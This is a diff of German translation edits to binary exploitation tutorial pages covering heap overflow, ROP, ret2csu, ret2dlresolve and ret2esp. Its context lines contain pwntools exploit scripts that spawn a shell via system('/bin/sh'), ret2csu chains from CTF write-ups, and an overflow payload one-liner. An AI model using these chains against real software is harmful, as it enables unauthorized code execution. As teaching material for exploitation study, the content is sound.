-Eine der Techniken, die dafür verwendet werden, ist **Heap Grooming**, das beispielsweise [**in diesem Beitrag**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) verwendet wird. In dem Beitrag wird erklärt, wie im iOS-Kernel, wenn eine Zone keinen Speicher mehr hat, um Chunks zu speichern, sie um eine Kernel-Seite erweitert wird, und diese Seite in Chunks der erwarteten Größen aufgeteilt wird, die in der Reihenfolge verwendet werden (bis zur iOS-Version 9.2, danach werden diese Chunks auf eine randomisierte Weise verwendet, um die Ausnutzung dieser Angriffe zu erschweren).
+Eine der Techniken, die dafür verwendet wird, ist **Heap Grooming**, die beispielsweise [**in diesem Beitrag**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) verwendet wird. In dem Beitrag wird erklärt, wie im iOS-Kernel, wenn eine Zone keinen Speicher mehr hat, um Chunks zu speichern, sie um eine Kernel-Seite erweitert wird, und diese Seite in Chunks der erwarteten Größen aufgeteilt wird, die in der Reihenfolge verwendet werden (bis zur iOS-Version 9.2, dann werden diese Chunks auf eine randomisierte Weise verwendet, um die Ausnutzung dieser Angriffe zu erschweren).
 
 Daher wird in dem vorherigen Beitrag, in dem ein Heap Overflow auftritt, um das überlaufene Objekt dazu zu bringen, mit einem Opferobjekt zu kollidieren, mehrere **`kallocs` von mehreren Threads erzwungen, um sicherzustellen, dass alle freien Chunks gefüllt sind und dass eine neue Seite erstellt wird**.
 
-Um dieses Füllen mit Objekten einer bestimmten Größe zu erzwingen, ist die **out-of-line Zuweisung, die mit einem iOS Mach-Port verbunden ist**, ein idealer Kandidat. Durch das Anpassen der Größe der Nachricht ist es möglich, die Größe der `kalloc`-Zuweisung genau anzugeben, und wenn der entsprechende Mach-Port zerstört wird, wird die entsprechende Zuweisung sofort wieder an `kfree` freigegeben.
+Um dieses Füllen mit Objekten einer bestimmten Größe zu erzwingen, ist die **out-of-line Zuweisung, die mit einem iOS mach port verbunden ist**, ein idealer Kandidat. Durch das Anpassen der Größe der Nachricht ist es möglich, die Größe der `kalloc`-Zuweisung genau anzugeben, und wenn der entsprechende mach port zerstört wird, wird die entsprechende Zuweisung sofort wieder an `kfree` freigegeben.
 
-Dann können einige dieser Platzhalter **freigegeben** werden. Die **`kalloc.4096`-Freiliste gibt Elemente in einer Last-in-First-out-Reihenfolge frei**, was im Grunde bedeutet, dass, wenn einige Platzhalter freigegeben werden und der Exploit versucht, mehrere Opferobjekte zuzuweisen, während er versucht, das anfällige Objekt für den Overflow zuzuweisen, es wahrscheinlich ist, dass dieses Objekt von einem Opferobjekt gefolgt wird.
+Dann können einige dieser Platzhalter **freigegeben** werden. Die **`kalloc.4096`-Freiliste gibt Elemente in einer Last-In-First-Out-Reihenfolge frei**, was im Grunde bedeutet, dass, wenn einige Platzhalter freigegeben werden und der Exploit versucht, mehrere Opferobjekte zuzuweisen, während er versucht, das anfällige Objekt für den Overflow zuzuweisen, es wahrscheinlich ist, dass dieses Objekt von einem Opferobjekt gefolgt wird.
 
 ### Beispiel libc
 
-[**Auf dieser Seite**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) ist es möglich, eine grundlegende Heap Overflow-Emulation zu finden, die zeigt, wie das Überschreiben des prev in use-Bits des nächsten Chunks und der Position der prev-Größe es ermöglicht, einen **verwendeten Chunk zu konsolidieren** (indem er denkt, er sei ungenutzt) und **dann erneut zuzuweisen**, wobei es möglich ist, Daten zu überschreiben, die auch in einem anderen Zeiger verwendet werden.
+[**Auf dieser Seite**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) ist es möglich, eine grundlegende Heap Overflow-Emulation zu finden, die zeigt, wie das Überschreiben des prev in use-Bits des nächsten Chunks und der Position der prev size es ermöglicht, einen **verwendeten Chunk zu konsolidieren** (indem er denkt, dass er ungenutzt ist) und **dann erneut zuzuweisen**, wobei es möglich ist, Daten zu überschreiben, die in einem anderen Zeiger verwendet werden.
 
 Ein weiteres Beispiel aus [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) zeigt ein sehr einfaches Beispiel eines CTF, bei dem ein **Heap Overflow** ausgenutzt werden kann, um die Gewinnerfunktion aufzurufen, um **die Flagge zu erhalten**.
 
@@ -35,7 +35,7 @@ Im [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protos
 
 ### Beispiel ARM64
 
-Auf der Seite [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) finden Sie ein Heap Overflow-Beispiel, bei dem ein Befehl, der ausgeführt werden soll, im folgenden Chunk des überlaufenen Chunks gespeichert ist. Es ist also möglich, den ausgeführten Befehl zu ändern, indem man ihn mit einem einfachen Exploit wie folgendem überschreibt:
+Auf der Seite [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) finden Sie ein Beispiel für einen Heap Overflow, bei dem ein Befehl, der ausgeführt werden soll, im folgenden Chunk des überlaufenen Chunks gespeichert ist. Es ist also möglich, den ausgeführten Befehl zu ändern, indem man ihn mit einem einfachen Exploit wie folgt überschreibt:
 ```bash
 python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 ```

src/binary-exploitation/rop-return-oriented-programing/README.md

@@ -4,7 +4,7 @@
 
 ## **Grundinformationen**
 
-**Return-Oriented Programming (ROP)** ist eine fortgeschrittene Ausnutzungstechnik, die verwendet wird, um Sicherheitsmaßnahmen wie **No-Execute (NX)** oder **Data Execution Prevention (DEP)** zu umgehen. Anstatt Shellcode zu injizieren und auszuführen, nutzt ein Angreifer Teile von Code, die bereits im Binärformat oder in geladenen Bibliotheken vorhanden sind, bekannt als **"gadgets"**. Jedes Gadget endet typischerweise mit einer `ret`-Anweisung und führt eine kleine Operation aus, wie das Bewegen von Daten zwischen Registern oder das Durchführen arithmetischer Operationen. Durch das Verketten dieser Gadgets kann ein Angreifer eine Nutzlast konstruieren, um beliebige Operationen auszuführen und so effektiv NX/DEP-Schutzmaßnahmen zu umgehen.
+**Return-Oriented Programming (ROP)** ist eine fortgeschrittene Ausnutzungstechnik, die verwendet wird, um Sicherheitsmaßnahmen wie **No-Execute (NX)** oder **Data Execution Prevention (DEP)** zu umgehen. Anstatt Shellcode zu injizieren und auszuführen, nutzt ein Angreifer Teile von Code, die bereits im Binärformat oder in geladenen Bibliotheken vorhanden sind, bekannt als **"Gadgets"**. Jedes Gadget endet typischerweise mit einer `ret`-Anweisung und führt eine kleine Operation aus, wie das Bewegen von Daten zwischen Registern oder das Durchführen arithmetischer Operationen. Durch das Verketten dieser Gadgets kann ein Angreifer eine Nutzlast konstruieren, um beliebige Operationen auszuführen und somit effektiv NX/DEP-Schutzmaßnahmen zu umgehen.
 
 ### Wie ROP funktioniert
 
@@ -28,7 +28,7 @@ Typischerweise können Gadgets mit [**ROPgadget**](https://github.com/JonathanSa
 Zuerst nehmen wir an, dass wir die notwendigen Gadgets innerhalb des Binärformats oder seiner geladenen Bibliotheken identifiziert haben. Die Gadgets, an denen wir interessiert sind, sind:
 
 - `pop eax; ret`: Dieses Gadget poppt den obersten Wert des Stacks in das `EAX`-Register und gibt dann zurück, wodurch wir `EAX` steuern können.
-- `pop ebx; ret`: Ähnlich wie oben, aber für das `EBX`-Register, was die Kontrolle über `EBX` ermöglicht.
+- `pop ebx; ret`: Ähnlich wie das obige, aber für das `EBX`-Register, was die Kontrolle über `EBX` ermöglicht.
 - `mov [ebx], eax; ret`: Bewegt den Wert in `EAX` an die Speicheradresse, auf die `EBX` zeigt, und gibt dann zurück. Dies wird oft als **write-what-where gadget** bezeichnet.
 - Darüber hinaus haben wir die Adresse der `system()`-Funktion verfügbar.
 
@@ -37,7 +37,7 @@ Zuerst nehmen wir an, dass wir die notwendigen Gadgets innerhalb des Binärforma
 Mit **pwntools** bereiten wir den Stack für die Ausführung der ROP-Kette wie folgt vor, um `system('/bin/sh')` auszuführen. Beachten Sie, wie die Kette beginnt mit:
 
 1. Einer `ret`-Anweisung zu Alignierungszwecken (optional)
-2. Adresse der `system`-Funktion (vorausgesetzt, ASLR ist deaktiviert und libc ist bekannt, weitere Informationen in [**Ret2lib**](ret2lib/))
+2. Adresse der `system`-Funktion (vorausgesetzt, ASLR ist deaktiviert und libc ist bekannt, mehr Informationen in [**Ret2lib**](ret2lib/index.html))
 3. Platzhalter für die Rücksprungadresse von `system()`
 4. Adresse des `"/bin/sh"`-Strings (Parameter für die Systemfunktion)
 ```python
@@ -83,16 +83,16 @@ p.interactive()
 
 #### **Gadgets Finden**
 
-Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das **RDI**-Register zu setzen (um den **"/bin/sh"**-String als Argument an **system()** zu übergeben) und dann die **system()**-Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
+Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das **RDI**-Register (um den **"/bin/sh"** String als Argument an **system()** zu übergeben) zu setzen und dann die **system()** Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
 
 - **pop rdi; ret**: Poppt den obersten Wert des Stacks in **RDI** und gibt dann zurück. Essentiell für das Setzen unseres Arguments für **system()**.
 - **ret**: Ein einfacher Rückgabewert, nützlich für die Stack-Ausrichtung in einigen Szenarien.
 
-Und wir kennen die Adresse der **system()**-Funktion.
+Und wir kennen die Adresse der **system()** Funktion.
 
 ### **ROP-Kette**
 
-Im Folgenden ein Beispiel mit **pwntools**, um eine ROP-Kette einzurichten und auszuführen, die darauf abzielt, **system('/bin/sh')** auf **x64** auszuführen:
+Unten ist ein Beispiel, das **pwntools** verwendet, um eine ROP-Kette einzurichten und auszuführen, die darauf abzielt, **system('/bin/sh')** auf **x64** auszuführen:
 ```python
 from pwn import *
 
@@ -131,18 +131,18 @@ In diesem Beispiel:
 
 - Wir nutzen das **`pop rdi; ret`** Gadget, um **`RDI`** auf die Adresse von **`"/bin/sh"`** zu setzen.
 - Wir springen direkt zu **`system()`**, nachdem wir **`RDI`** gesetzt haben, mit der Adresse von **system()** in der Kette.
-- **`ret_gadget`** wird zur Ausrichtung verwendet, falls die Zielumgebung dies erfordert, was in **x64** häufiger vorkommt, um eine ordnungsgemäße Stapelausrichtung vor dem Aufruf von Funktionen sicherzustellen.
+- **`ret_gadget`** wird zur Ausrichtung verwendet, falls die Zielumgebung dies erfordert, was in **x64** häufiger vorkommt, um eine ordnungsgemäße Stack-Ausrichtung vor dem Aufruf von Funktionen sicherzustellen.
 
-### Stapelausrichtung
+### Stack-Ausrichtung
 
-**Die x86-64 ABI** stellt sicher, dass der **Stack 16-Byte ausgerichtet** ist, wenn eine **call-Anweisung** ausgeführt wird. **LIBC** verwendet zur Optimierung der Leistung **SSE-Anweisungen** (wie **movaps**), die diese Ausrichtung erfordern. Wenn der Stack nicht richtig ausgerichtet ist (was bedeutet, dass **RSP** kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie **system** in einer **ROP-Kette** fehl. Um dies zu beheben, fügen Sie einfach ein **ret gadget** vor dem Aufruf von **system** in Ihrer ROP-Kette hinzu.
+**Die x86-64 ABI** stellt sicher, dass der **Stack 16-Byte ausgerichtet** ist, wenn eine **call-Anweisung** ausgeführt wird. **LIBC** verwendet zur Optimierung der Leistung **SSE-Anweisungen** (wie **movaps**), die diese Ausrichtung erfordern. Wenn der Stack nicht richtig ausgerichtet ist (was bedeutet, dass **RSP** kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie **system** in einer **ROP-Kette** fehl. Um dies zu beheben, fügen Sie einfach ein **ret gadget** hinzu, bevor Sie **system** in Ihrer ROP-Kette aufrufen.
 
 ## Hauptunterschied zwischen x86 und x64
 
 > [!TIP]
-> Da **x64 Register für die ersten paar Argumente verwendet,** erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der **x64**-Architektur bieten sowohl Chancen als auch Herausforderungen für die Exploit-Entwicklung, insbesondere im Kontext von Return-Oriented Programming (ROP).
+> Da **x64 Register für die ersten paar Argumente verwendet,** erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der **x64** Architektur bieten sowohl Chancen als auch Herausforderungen für die Entwicklung von Exploits, insbesondere im Kontext von Return-Oriented Programming (ROP).
 
-## ROP-Kette im ARM64-Beispiel
+## ROP-Kette im ARM64 Beispiel
 
 ### **ARM64 Grundlagen & Aufrufkonventionen**
 
@@ -154,15 +154,15 @@ In diesem Beispiel:
 
 ## Schutzmaßnahmen gegen ROP
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Diese Schutzmaßnahmen erschweren die Verwendung von ROP, da sich die Adressen der Gadgets zwischen den Ausführungen ändern.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Im Falle eines BOF ist es notwendig, die gespeicherte Stack-Canary zu umgehen, um Rückgabepunkte zu überschreiben und eine ROP-Kette auszunutzen.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Diese Schutzmaßnahmen erschweren die Verwendung von ROP, da sich die Adressen der Gadgets zwischen den Ausführungen ändern.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Im Falle eines BOF ist es notwendig, die gespeicherten Stack-Canaries zu umgehen, um Rückgabepunkte zu überschreiben und eine ROP-Kette auszunutzen.
 - **Mangel an Gadgets**: Wenn nicht genügend Gadgets vorhanden sind, wird es nicht möglich sein, eine ROP-Kette zu erzeugen.
 
 ## ROP-basierte Techniken
 
 Beachten Sie, dass ROP nur eine Technik ist, um beliebigen Code auszuführen. Basierend auf ROP wurden viele Ret2XXX-Techniken entwickelt:
 
-- **Ret2lib**: Verwenden Sie ROP, um beliebige Funktionen aus einer geladenen Bibliothek mit beliebigen Parametern aufzurufen (normalerweise etwas wie `system('/bin/sh')`.
+- **Ret2lib**: Verwenden Sie ROP, um beliebige Funktionen aus einer geladenen Bibliothek mit beliebigen Parametern aufzurufen (normalerweise etwas wie `system('/bin/sh')`).
 
 {{#ref}}
 ret2lib/
@@ -184,7 +184,7 @@ rop-syscall-execv/
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
-- 64 Bit, Pie und nx aktiviert, kein Canary, überschreiben von RIP mit einer `vsyscall`-Adresse mit dem alleinigen Zweck, zur nächsten Adresse im Stack zurückzukehren, die eine partielle Überschreibung der Adresse sein wird, um den Teil der Funktion zu erhalten, der das Flag ausgibt.
+- 64 Bit, Pie und nx aktiviert, kein Canary, überschreiben von RIP mit einer `vsyscall` Adresse mit dem alleinigen Zweck, zur nächsten Adresse im Stack zurückzukehren, die eine partielle Überschreibung der Adresse sein wird, um den Teil der Funktion zu erhalten, der das Flag ausgibt.
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
 - arm64, kein ASLR, ROP-Gadget, um den Stack ausführbar zu machen und zu Shellcode im Stack zu springen.
 

src/binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -28,14 +28,14 @@ Dieses Gadget ermöglicht es uns, diese Register zu steuern, indem wir Werte vom
 
 2. Die zweite Sequenz verwendet die Werte, die wir eingerichtet haben, um ein paar Dinge zu tun:
 - **Bestimmte Werte in andere Register verschieben**, um sie bereit zu machen, dass wir sie als Parameter in Funktionen verwenden können.
-- **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert wird.
+- **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert werden.
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
 mov edi, r13d;
 call qword [r12 + rbx*8];
 ```
-3. Vielleicht kennen Sie keine Adresse, um dort zu schreiben, und Sie **benötigen eine `ret`-Anweisung**. Beachten Sie, dass das zweite Gadget ebenfalls **mit einem `ret` endet**, aber Sie müssen einige **Bedingungen** erfüllen, um es zu erreichen:
+3. Vielleicht kennst du keine Adresse, um dort zu schreiben, und du **brauchst eine `ret`-Anweisung**. Beachte, dass das zweite Gadget ebenfalls **mit einem `ret` endet**, aber du musst einige **Bedingungen** erfüllen, um es zu erreichen:
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
@@ -49,8 +49,8 @@ ret
 ```
 Die Bedingungen sind:
 
-- `[r12 + rbx*8]` muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein pie, kannst du einfach die `_init`-Funktion verwenden):
-- Wenn \_init bei `0x400560` ist, verwende GEF, um einen Zeiger im Speicher darauf zu suchen und mache `[r12 + rbx*8]` zur Adresse mit dem Zeiger auf \_init:
+- `[r12 + rbx*8]` muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein PIE, kannst du einfach die `_init`-Funktion verwenden):
+- Wenn `_init` bei `0x400560` ist, verwende GEF, um einen Zeiger im Speicher darauf zu suchen und mache `[r12 + rbx*8]` zur Adresse mit dem Zeiger auf `_init`:
 ```bash
 # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 gef➤  search-pattern 0x400560
@@ -84,7 +84,7 @@ Stellen Sie sich vor, Sie möchten einen Syscall durchführen oder eine Funktion
 Hier kommt **ret2csu** ins Spiel:
 
 1. **Register einrichten**: Verwenden Sie das erste magische Gadget, um Werte vom Stack in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu poppen.
-2. **Das zweite Gadget verwenden**: Mit diesen gesetzten Registern verwenden Sie das zweite Gadget. Dies ermöglicht es Ihnen, Ihre gewählten Werte in `rdx` und `rsi` (von r14 und r13) zu verschieben und die Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Steuerung von `r15` und `rbx` das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die Sie berechnen und in `[r15 + rbx*8]` platzieren.
+2. **Das zweite Gadget verwenden**: Mit diesen gesetzten Registern verwenden Sie das zweite Gadget. Dies ermöglicht es Ihnen, Ihre gewählten Werte in `rdx` und `rsi` (von r14 und r13) zu verschieben, um Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Kontrolle von `r15` und `rbx` das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die Sie berechnen und in `[r15 + rbx*8]` platzieren.
 
 Sie haben ein [**Beispiel, das diese Technik verwendet und es hier erklärt**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), und dies ist der endgültige Exploit, den es verwendet hat:
 ```python
@@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Beachten Sie, dass der vorherige Exploit nicht dazu gedacht ist, ein **`RCE`** durchzuführen, sondern lediglich eine Funktion namens **`win`** aufzurufen (indem die Adresse von `win` aus stdin, die in der ROP-Kette aufgerufen wird, entnommen und in r15 gespeichert wird) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`.
+> Beachten Sie, dass der vorherige Exploit nicht dazu gedacht ist, ein **`RCE`** durchzuführen, sondern lediglich eine Funktion namens **`win`** aufzurufen (indem die Adresse von `win` aus stdin, die in der ROP-Kette aufgerufen wird, in r15 gespeichert wird) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`.
 
 ### Umgehen des Aufrufs und Erreichen von ret
 
-Der folgende Exploit wurde [**von dieser Seite**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) extrahiert, wo **ret2csu** verwendet wird, aber anstelle des Aufrufs wird **die Überprüfung umgangen und `ret`** nach dem Aufruf erreicht:
+Der folgende Exploit wurde [**von dieser Seite**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) extrahiert, wo das **ret2csu** verwendet wird, aber anstelle des Aufrufs wird **die Überprüfung umgangen und `ret`** nach dem Aufruf erreicht:
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -167,6 +167,6 @@ target.interactive()
 ```
 ### Warum nicht einfach libc direkt verwenden?
 
-In der Regel sind diese Fälle auch anfällig für [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), aber manchmal müssen Sie mehr Parameter steuern, als mit den Gadgets, die Sie direkt in libc finden, leicht kontrolliert werden können. Zum Beispiel erfordert die `write()`-Funktion drei Parameter, und **es könnte nicht möglich sein, Gadgets zu finden, um all diese direkt zu setzen**.
+In der Regel sind diese Fälle auch anfällig für [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), aber manchmal müssen Sie mehr Parameter steuern, als mit den Gadgets, die Sie direkt in libc finden, leicht kontrolliert werden können. Zum Beispiel erfordert die `write()`-Funktion drei Parameter, und **das Finden von Gadgets, um all diese direkt zu setzen, könnte nicht möglich sein**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md

@@ -8,12 +8,12 @@ Wie auf der Seite über [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.
 
 Die Funktion **`_dl_runtime_resolve`** benötigt vom Stack Referenzen zu einigen Strukturen, um das angegebene Symbol zu **lösen**.
 
-Daher ist es möglich, **alle diese Strukturen zu fälschen**, um die dynamische Verknüpfung des angeforderten Symbols (wie die **`system`**-Funktion) zu ermöglichen und sie mit einem konfigurierten Parameter (z.B. **`system('/bin/sh')`**) aufzurufen.
+Daher ist es möglich, **alle diese Strukturen zu fälschen**, um die dynamische Verknüpfung des angeforderten Symbols (wie die Funktion **`system`**) zu ermöglichen und sie mit einem konfigurierten Parameter (z.B. **`system('/bin/sh')`**) aufzurufen.
 
-In der Regel werden all diese Strukturen gefälscht, indem eine **anfängliche ROP-Kette erstellt wird, die `read`** über einen beschreibbaren Speicher aufruft, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, sodass sie durch `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** aufruft, um die **Adresse von `system`** in den gefälschten Strukturen zu **lösen** und **diese Adresse** mit der Adresse zu `$'/bin/sh'` aufzurufen.
+In der Regel werden alle diese Strukturen gefälscht, indem eine **anfängliche ROP-Kette erstellt wird, die `read`** über einen beschreibbaren Speicher aufruft, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, sodass sie durch `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** aufruft, um die **Adresse von `system`** in den gefälschten Strukturen zu **lösen** und **diese Adresse** mit der Adresse zu `$'/bin/sh'` aufzurufen.
 
 > [!TIP]
-> Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv/) oder [SROP](srop-sigreturn-oriented-programming/)) zu verwenden und es keine Möglichkeiten gibt, libc-Adressen zu leaken.
+> Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv/index.html) oder [SROP](srop-sigreturn-oriented-programming/index.html) zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen zu leaken.
 
 Schau dir dieses Video für eine schöne Erklärung zu dieser Technik in der zweiten Hälfte des Videos an:
 

src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -4,9 +4,9 @@
 
 ## **Ret2esp**
 
-**Da der ESP (Stack Pointer) immer auf die Spitze des Stacks zeigt**, besteht diese Technik darin, den EIP (Instruction Pointer) mit der Adresse einer **`jmp esp`** oder **`call esp`** Anweisung zu ersetzen. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die `ret` Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.
+**Da der ESP (Stack Pointer) immer auf die Spitze des Stacks zeigt**, besteht diese Technik darin, den EIP (Instruction Pointer) durch die Adresse einer **`jmp esp`** oder **`call esp`** Anweisung zu ersetzen. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die `ret` Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.
 
-Wenn **Address Space Layout Randomization (ASLR)** in Windows oder Linux nicht aktiviert ist, ist es möglich, `jmp esp` oder `call esp` Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem [**ASLR**](../common-binary-protections-and-bypasses/aslr/) muss man jedoch möglicherweise innerhalb des anfälligen Programms nach diesen Anweisungen suchen (und man muss möglicherweise [**PIE**](../common-binary-protections-and-bypasses/pie/) überwinden).
+Wenn **Address Space Layout Randomization (ASLR)** in Windows oder Linux nicht aktiviert ist, ist es möglich, `jmp esp` oder `call esp` Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) muss man jedoch möglicherweise innerhalb des anfälligen Programms selbst nach diesen Anweisungen suchen (und man könnte [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) überwinden müssen).
 
 Darüber hinaus stellt die Fähigkeit, den Shellcode **nach der EIP-Korruption** zu platzieren, anstatt in der Mitte des Stacks, sicher, dass keine `push` oder `pop` Anweisungen, die während des Betriebs der Funktion ausgeführt werden, mit dem Shellcode interferieren. Diese Interferenz könnte auftreten, wenn der Shellcode in der Mitte des Funktionsstacks platziert wird.
 
@@ -108,7 +108,7 @@ Wenn ein Register eine interessante Adresse hat, ist es möglich, zu ihm zu spri
 ```bash
 ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
 ```
-In ARM64 speichert **`x0`** den Rückgabewert einer Funktion, daher könnte es sein, dass x0 die Adresse eines vom Benutzer kontrollierten Puffers mit einem Shellcode speichert, der ausgeführt werden soll.
+In ARM64 speichert **`x0`** den Rückgabewert einer Funktion, daher könnte es sein, dass x0 die Adresse eines vom Benutzer kontrollierten Puffers mit einem auszuführenden Shellcode speichert.
 
 Beispielcode:
 ```c
@@ -135,7 +135,7 @@ do_stuff(2)
 return 0;
 }
 ```
-Überprüfung der Disassemblierung der Funktion zeigt, dass die **Adresse zum Puffer** (anfällig für bof und **vom Benutzer kontrolliert**) **in `x0` gespeichert** wird, bevor von der Pufferüberlauf zurückgegeben wird:
+Die Überprüfung der Disassemblierung der Funktion zeigt, dass die **Adresse zum Puffer** (anfällig für bof und **vom Benutzer kontrolliert**) **in `x0` gespeichert** wird, bevor von der Pufferüberlauf zurückgegeben wird:
 
 <figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
 
@@ -143,7 +143,7 @@ Es ist auch möglich, das Gadget **`br x0`** in der **`do_stuff`** Funktion zu f
 
 <figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
 
-Wir werden dieses Gadget verwenden, um dorthin zu springen, da die Binärdatei **OHNE PIE** kompiliert ist. Mit einem Muster ist es möglich zu sehen, dass der **Offset des Pufferüberlaufs 80 beträgt**, sodass der Exploit folgendermaßen aussehen würde:
+Wir werden dieses Gadget verwenden, um zu ihm zu springen, da das Binary **OHNE PIE** kompiliert ist. Mit einem Muster ist es möglich zu sehen, dass der **Offset des Pufferüberlaufs 80 beträgt**, sodass der Exploit folgendermaßen aussehen würde:
 ```python
 from pwn import *
 
@@ -159,13 +159,13 @@ p.sendline(payload)
 p.interactive()
 ```
 > [!WARNING]
-> Wenn anstelle von `fgets` etwas wie **`read`** verwendet worden wäre, wäre es möglich gewesen, PIE zu umgehen, indem man **nur die letzten 2 Bytes der Rücksprungadresse überschreibt**, um zur `br x0;`-Anweisung zurückzukehren, ohne die vollständige Adresse zu kennen.\
-> Mit `fgets` funktioniert das nicht, da es **ein Nullbyte (0x00) am Ende hinzufügt**.
+> Wenn anstelle von `fgets` etwas wie **`read`** verwendet worden wäre, wäre es möglich gewesen, PIE zu umgehen, indem **nur die letzten 2 Bytes der Rücksprungadresse überschrieben** werden, um zur `br x0;`-Anweisung zurückzukehren, ohne die vollständige Adresse zu kennen.\
+> Mit `fgets` funktioniert es nicht, da es **ein Nullbyte (0x00) am Ende hinzufügt**.
 
 ## Schutzmaßnahmen
 
-- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Wenn der Stack nicht ausführbar ist, hilft das nicht, da wir den Shellcode im Stack platzieren und ihn ausführen müssen.
